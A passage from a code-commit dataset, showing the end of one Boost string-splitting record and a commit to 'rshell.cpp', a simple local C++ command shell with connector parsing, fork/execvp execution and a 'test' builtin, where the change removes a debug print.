std::vector<std::string> token_vec;\n \n boost::algorithm::split_regex(token_vec, s, boost::regex(r));\n return token_vec;\n}\n\n\n\/* Tokenize a string using boost split *\/\nstd::vector<std::string> toksplit(std::string s, std::string toks) {\n\n std::vector<std::string> token_vec;\n boost::split(token_vec, s, boost::is_any_of(toks), boost::token_compress_on);\n return token_vec;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string.h>\n#include <boost\/tokenizer.hpp>\n#include <vector>\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <algorithm>\n#include <ctype.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <time.h>\n#include <errno.h>\n\nusing namespace std;\nusing namespace boost;\n\nclass Connector\n{\n public:\n Connector();\n ~Connector();\n bool run;\n int type;\n bool runNext();\n bool precedence;\n\t\n};\n\nConnector::Connector()\n{ \n \/\/ the semicolon connector allows the next command to be execute always\n run = true; \n type = 0; \/\/ semicolon connector set to 0\n precedence = false;\n}\n\nConnector::~Connector()\n{ \n}\nbool Connector::runNext()\n{\n if (type == 1) \/\/ && connector \n {\n if (!run) \/\/ if the first command doesn't succeed it wont run the next command\n {\n return false;\n }\n }\n else if (type == 2) \/\/ || connector\n {\n if (run) \/\/ if the first command succeed it wont run the next command\n {\n return false;\n }\n }\n return true;\n}\nvoid parseinator(vector<string> input, string& command, string& argument, int& position, Connector& connect, string& flag);\nvoid commandifier(string command, string argument, Connector& connect, string flag);\nvoid test_function(string command, string & flag, string argument, Connector& connect);\nint main()\n{\n string flag;\n string str;\n string command;\n string argument;\n Connector connect;\n char hostname[100];\n int position = 0;\n while (true)\n {\n printf(\"%s\",getlogin()); \/\/ returns string containing name of user logged in\n gethostname(hostname, sizeof hostname); \/\/ returns the standard host name for the current machine\n cout << \"@\" << hostname << \"$ \";\n getline(cin, str); \n if (str == \"exit\") \/\/ special command of exit \n {\n break;\n }\n vector<string> instruction; \/\/ vector of strings \n typedef tokenizer<boost::char_separator<char> > Tok;\n char_separator<char> sep; \/\/ default constructed\n Tok tok(str, sep);;\n for (Tok::iterator tok_iter = tok.begin(); tok_iter != tok.end(); ++tok_iter) \/\/ parses the input into a command and argument\n {\n\t instruction.push_back(*tok_iter);\n\t\t\n\t}\n\tif (instruction[0] != \"#\") \/\/ checks for user input except for comments (#)\n { \n parseinator(instruction, command, argument, position, connect, flag); \/\/ parses the input into a command and argument \n commandifier(command, argument, connect, flag); \/\/ runs a command with a given argument \n command = \"\";\n argument = \"\";\n int vector_size = instruction.size();\n for (; position < vector_size;) \/\/ run until the end of the instruction\n {\n parseinator(instruction, command, argument, position, connect, flag);\n if (connect.runNext() && command != \"\") \/\/ checks connector to see if the next command should be ran\n\t {\n commandifier(command, argument, connect, flag);\n }\n\t else\n\t {\n\t while(connect.precedence && position < vector_size)\n\t\t {\n\t\t if(instruction[position] == \")\")\n\t\t {\n\t\t connect.precedence = false;\n\t\t }\n\t\t position++;\n\t\t }\n\t connect.run = true;\n\t command = \"\";\n\t }\n\t command = \"\";\n argument = \"\";\n }\n position = 0;\n }\n }\n return 0;\n}\nvoid parseinator(vector<string> input, string& command, string& argument, int& position, Connector& connect, string& flag)\n{\n if (input[position] == \"&\") \/\/ check if string is equal to & connector \n {\n connect.type = 1; \/\/ set & connector to 1 \n position += 2; \/\/ +=2 in order to take && connect\n }\n if (input[position] == \"|\")\n {\n connect.type = 2; \/\/ set | connector to 2\n position += 2; \/\/ +=2 in order to take || connector\n }\n if (input[position] == \";\")\n {\n connect.type = 0; \/\/ set ; connector to 0 \n position ++;\n }\n if (input[position] == \"(\")\n {\n connect.precedence = true;\n position++;\n }\n if (input[position] != \"#\")\n {\n command = input[position];\n position++;\n }\n if (command == \"test\")\n {\n if(input[position] == \"-\")\n {\n position++;\n\t if (input[position] == \"f\")\n {\n\t\tflag = \"-f\";\n\t\tposition++;\n\t }\n\t else if (input[position] == \"d\")\n\t {\n\t\tflag = \"-d\";\n\t\tposition++;\t\n\t }\n\t else \/\/ DEFAULT E\n\t {\n\t\tflag = \"-e\";\n\t\tposition++;\n }\n }\n }\n \n int input_size = input.size();\n for (; position < input_size; position++)\n {\n if (input[position] == \")\")\n {\n connect.precedence = false;\n position++;\n break;\n }\n if(command == \"echo\" && input[position] == \"\\\"\")\n {\n position++;\n while(input[position] != \"\\\"\" && position <= input_size)\n {\n\n argument += input[position];\n if(!isalnum(input[position].at(0)) && !isalnum(input[position+1].at(0)))\n {\n\n }\n else\n\t\t{\n argument += \" \";\n }\n\t\tposition++;\n }\n position++;\n break;\n }\n if (input[position] == \"#\")\n {\n position = input.size();\n break;\n }\n if (input[position] == \"&\" || input[position] == \"|\" || input[position] == \";\")\n\t {\n break;\n \t}\n\t\n argument += input[position];\n int input_size1 = input.size();\n if (position+1 != input_size1 && command == \"echo\")\n\t{\t\t\t\t\n\t \/\/adds spaces when echoing\n argument += \" \";\n\t}\n }\n}\nvoid commandifier(string command, string argument, Connector& connect, string flag)\n{\n const char * const_command = command.c_str(); \n char * char_command = new char[command.size()];\n const char * const_argument = argument.c_str();\n char * char_argument = new char[argument.size()];\n strcpy (char_command, const_command);\n strcpy (char_argument, const_argument); \n char * args[2]; \/\/ char pointer array that holds command, and NULL\n char * args1[3]; \/\/ char pointer array that holds command, argument, and NULL\n bool no_arg = true;\n bool failed = false;\n \n if(command == \"test\" || command == \"[\")\n {\t\n\ttest_function(command,flag,argument,connect);\n\treturn;\t\n }\n \/\/ exit command \n if(command == \"exit\" || argument == \"exit\")\n {\n\texit(1);\n }\n\n if (argument.size() == 0) \/\/ no arguments \n {\n args[0] = char_command; \/\/ args will contain the command\n args[1] = NULL;\n }\n else\n {\n\tno_arg = false; \/\/ sets bool no_arg to false \n\targs1[0] = char_command; \/\/ args1 contains command and argument\n args1[1] = char_argument;\n args1[2] = NULL; \n }\n pid_t c_pid, pid; \/\/ data type to reporesent process ID's\n int status;\n c_pid = fork(); \/\/ create our fork \n\n if (c_pid < 0) \/\/ indicates the fork has fail if its less than 0 \n {\n perror(\"fork failed\");\n exit(1);\n }\n else if (c_pid == 0) \/\/ in child process \n {\n \tif (no_arg) \/\/ no argument\n\t{ \t\t \n \texecvp( args[0], args); \/\/ execvp the char pointer array that holds the command only\n \tif (execvp(args[0], args) == -1) \/\/ if it returns -1 it failed\n { \n perror(\"execvp failed\");\n connect.run = false;\n failed = true;\n }\n\t\texit(3);\n\t}\n\telse \/\/ with command and argument\n\t{\n\t\texecvp(args1[0], args1); \/\/ execvp the char pointer array that holds the command, and argument\n\t\tif (execvp(args1[0], args1) == -1) \/\/ if it returns -1 it failed\n {\n perror(\"execvp failed\");\n connect.run = false; \n failed = true;\n }\n\t\texit(3);\n\t}\n }\n else if (c_pid > 0) \/\/ parent process\n {\n if((pid = wait(&status)) < 0 )\n {\n perror(\"wait\");\n\t exit(3);\n }\n if (WIFEXITED(status)) \/\/Evaluates to a non-zero value if status was returned for a child process that terminated normally. \n\n {\n if (WEXITSTATUS(status) != 0)\n {\n connect.run = false;\n }\n\t else\n\t {\n\t\tconnect.run = true;\t\n }\n }\n else \n {\n connect.run = true;\n }\n }\n}\nvoid test_function(string command, string & flag, string argument, Connector& connect)\n{\n const char * arg = argument.c_str(); \n struct stat sb; \/\/ struct for the stat function \n cout<<flag<<endl;\n if(flag == \"-f\")\n {\n if(stat(arg,&sb) == 0)\n {\n connect.run = true;\n\t if(S_ISREG(sb.st_mode))\n\t {\n \t\tconnect.run = true;\n\t }\n\t else\n\t {\n\t\tconnect.run = false;\n\t }\n }\n else\n {\n connect.run = false;\n }\n }\n else if(flag == \"-d\")\n {\n if(stat(arg,&sb) == 0)\n {\n connect.run = true;\t \n if(S_ISDIR(sb.st_mode))\n {\n \tconnect.run = true;\n }\n else\n \t {\n \tconnect.run = false;\n }\n }\n else\n {\n connect.run = false;\n }\t\n\n\t\n }\t\n else\n {\n\tif(stat(arg,&sb) == 0)\n\t{ \n\t connect.run = true;\n \t}\n\telse\n\t{\n\t connect.run = false;\t\n\t}\n }\n} \n<commit_msg>Update rshell.cpp<commit_after>#include <iostream>\n#include <string.h>\n#include <boost\/tokenizer.hpp>\n#include <vector>\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <algorithm>\n#include <ctype.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <time.h>\n#include <errno.h>\n\nusing namespace std;\nusing namespace boost;\n\nclass Connector\n{\n public:\n Connector();\n ~Connector();\n bool run;\n int type;\n bool runNext();\n bool precedence;\n\t\n};\n\nConnector::Connector()\n{ \n \/\/ the semicolon connector allows the next command to be execute always\n run = true; \n type = 0; \/\/ semicolon connector set to 0\n precedence = false;\n}\n\nConnector::~Connector()\n{ \n}\nbool Connector::runNext()\n{\n if (type == 1) \/\/ && connector \n {\n if (!run) \/\/ if the first command doesn't succeed it wont run the next command\n {\n return false;\n }\n }\n else if (type == 2) \/\/ || connector\n {\n if (run) \/\/ if the first command succeed it wont run the next command\n {\n return false;\n }\n }\n return true;\n}\nvoid parseinator(vector<string> input, string& command, string& argument, int& position, Connector& connect, string& flag);\nvoid commandifier(string command, string argument, Connector& connect, string flag);\nvoid test_function(string command, string & flag, string argument, Connector& connect);\nint main()\n{\n string flag;\n string str;\n string command;\n string argument;\n Connector connect;\n char hostname[100];\n int position = 0;\n while (true)\n {\n printf(\"%s\",getlogin()); \/\/ returns string containing name of user logged in\n gethostname(hostname, sizeof hostname); \/\/ returns the standard host name for the current machine\n cout << \"@\" << hostname << \"$ \";\n getline(cin, str); \n if (str == \"exit\") \/\/ special command of exit \n {\n break;\n }\n vector<string> instruction; \/\/ vector of strings \n typedef tokenizer<boost::char_separator<char> > Tok;\n char_separator<char> sep; \/\/ default constructed\n Tok tok(str, sep);;\n for (Tok::iterator tok_iter = tok.begin(); tok_iter != tok.end(); ++tok_iter) \/\/ parses the input into a command and argument\n {\n\t instruction.push_back(*tok_iter);\n\t\t\n\t}\n\tif (instruction[0] != \"#\") \/\/ checks for user input except for comments (#)\n { \n parseinator(instruction, command, argument, position, connect, flag); \/\/ parses the input into a command and argument \n commandifier(command, argument, connect, flag); \/\/ runs a command with a given argument \n command = \"\";\n argument = \"\";\n int vector_size = instruction.size();\n for (; position < vector_size;) \/\/ run until the end of the instruction\n {\n parseinator(instruction, command, argument, position, connect, flag);\n if (connect.runNext() && command != \"\") \/\/ checks connector to see if the next command should be ran\n\t {\n commandifier(command, argument, connect, flag);\n }\n\t else\n\t {\n\t while(connect.precedence && position < vector_size)\n\t\t {\n\t\t if(instruction[position] == \")\")\n\t\t {\n\t\t connect.precedence = false;\n\t\t }\n\t\t position++;\n\t\t }\n\t connect.run = true;\n\t command = \"\";\n\t }\n\t command = \"\";\n argument = \"\";\n }\n position = 0;\n }\n }\n return 0;\n}\nvoid parseinator(vector<string> input, string& command, string& argument, int& position, Connector& connect, string& flag)\n{\n if (input[position] == \"&\") \/\/ check if string is equal to & connector \n {\n connect.type = 1; \/\/ set & connector to 1 \n position += 2; \/\/ +=2 in order to take && connect\n }\n if (input[position] == \"|\")\n {\n connect.type = 2; \/\/ set | connector to 2\n position += 2; \/\/ +=2 in order to take || connector\n }\n if (input[position] == \";\")\n {\n connect.type = 0; \/\/ set ; connector to 0 \n position ++;\n }\n if (input[position] == \"(\")\n {\n connect.precedence = true;\n position++;\n }\n if (input[position] != \"#\")\n {\n command = input[position];\n position++;\n }\n if (command == \"test\")\n {\n if(input[position] == \"-\")\n {\n position++;\n\t if (input[position] == \"f\")\n {\n\t\tflag = \"-f\";\n\t\tposition++;\n\t }\n\t else if (input[position] == \"d\")\n\t {\n\t\tflag = \"-d\";\n\t\tposition++;\t\n\t }\n\t else \/\/ DEFAULT E\n\t {\n\t\tflag = \"-e\";\n\t\tposition++;\n }\n }\n }\n \n int input_size = input.size();\n for (; position < input_size; position++)\n {\n if (input[position] == \")\")\n {\n connect.precedence = false;\n position++;\n break;\n }\n if(command == \"echo\" && input[position] == \"\\\"\")\n {\n position++;\n while(input[position] != \"\\\"\" && position <= input_size)\n {\n\n argument += input[position];\n if(!isalnum(input[position].at(0)) && !isalnum(input[position+1].at(0)))\n {\n\n }\n else\n\t\t{\n argument += \" \";\n }\n\t\tposition++;\n }\n position++;\n break;\n }\n if (input[position] == \"#\")\n {\n position = input.size();\n break;\n }\n if (input[position] == \"&\" || input[position] == \"|\" || input[position] == \";\")\n\t {\n break;\n \t}\n\t\n argument += input[position];\n int input_size1 = input.size();\n if (position+1 != input_size1 && command == \"echo\")\n\t{\t\t\t\t\n\t \/\/adds spaces when echoing\n argument += \" \";\n\t}\n }\n}\nvoid commandifier(string command, string argument, Connector& connect, string flag)\n{\n const char * const_command = command.c_str(); \n char * char_command = new char[command.size()];\n const char * const_argument = argument.c_str();\n char * char_argument = new char[argument.size()];\n strcpy (char_command, const_command);\n strcpy (char_argument, const_argument); \n char * args[2]; \/\/ char pointer array that holds command, and NULL\n char * args1[3]; \/\/ char pointer array that holds command, argument, and NULL\n bool no_arg = true;\n bool failed = false;\n \n if(command == \"test\" || command == \"[\")\n {\t\n\ttest_function(command,flag,argument,connect);\n\treturn;\t\n }\n \/\/ exit command \n if(command == \"exit\" || argument == \"exit\")\n {\n\texit(1);\n }\n\n if (argument.size() == 0) \/\/ no arguments \n {\n args[0] = char_command; \/\/ args will contain the command\n args[1] = NULL;\n }\n else\n {\n\tno_arg = false; \/\/ sets bool no_arg to false \n\targs1[0] = char_command; \/\/ args1 contains command and argument\n args1[1] = char_argument;\n args1[2] = NULL; \n }\n pid_t c_pid, pid; \/\/ data type to reporesent process ID's\n int status;\n c_pid = fork(); \/\/ create our fork \n\n if (c_pid < 0) \/\/ indicates the fork has fail if its less than 0 \n {\n perror(\"fork failed\");\n exit(1);\n }\n else if (c_pid == 0) \/\/ in child process \n {\n \tif (no_arg) \/\/ no argument\n\t{ \t\t \n \texecvp( args[0], args); \/\/ execvp the char pointer array that holds the command only\n \tif (execvp(args[0], args) == -1) \/\/ if it returns -1 it failed\n { \n perror(\"execvp failed\");\n connect.run = false;\n failed = true;\n }\n\t\texit(3);\n\t}\n\telse \/\/ with command and argument\n\t{\n\t\texecvp(args1[0], args1); \/\/ execvp the char pointer array that holds the command, and argument\n\t\tif (execvp(args1[0], args1) == -1) \/\/ if it returns -1 it failed\n {\n perror(\"execvp failed\");\n connect.run = false; \n failed = true;\n }\n\t\texit(3);\n\t}\n }\n else if (c_pid > 0) \/\/ parent process\n {\n if((pid = wait(&status)) < 0 )\n {\n perror(\"wait\");\n\t exit(3);\n }\n if (WIFEXITED(status)) \/\/Evaluates to a non-zero value if status was returned for a child process that terminated normally. \n\n {\n if (WEXITSTATUS(status) != 0)\n {\n connect.run = false;\n }\n\t else\n\t {\n\t\tconnect.run = true;\t\n }\n }\n else \n {\n connect.run = true;\n }\n }\n}\nvoid test_function(string command, string & flag, string argument, Connector& connect)\n{\n const char * arg = argument.c_str(); \n struct stat sb; \/\/ struct for the stat function \n if(flag == \"-f\")\n {\n if(stat(arg,&sb) == 0)\n {\n connect.run = true;\n\t if(S_ISREG(sb.st_mode))\n\t {\n \t\tconnect.run = true;\n\t }\n\t else\n\t {\n\t\tconnect.run = false;\n\t }\n }\n else\n {\n connect.run = false;\n }\n }\n else if(flag == \"-d\")\n {\n if(stat(arg,&sb) == 0)\n {\n connect.run = true;\t \n if(S_ISDIR(sb.st_mode))\n {\n \tconnect.run = true;\n }\n else\n \t {\n \tconnect.run = false;\n }\n }\n else\n {\n connect.run = false;\n }\t\n\n\t\n }\t\n else\n {\n\tif(stat(arg,&sb) == 0)\n\t{ \n\t connect.run = true;\n \t}\n\telse\n\t{\n\t connect.run = false;\t\n\t}\n }\n} \n<|endoftext|>"}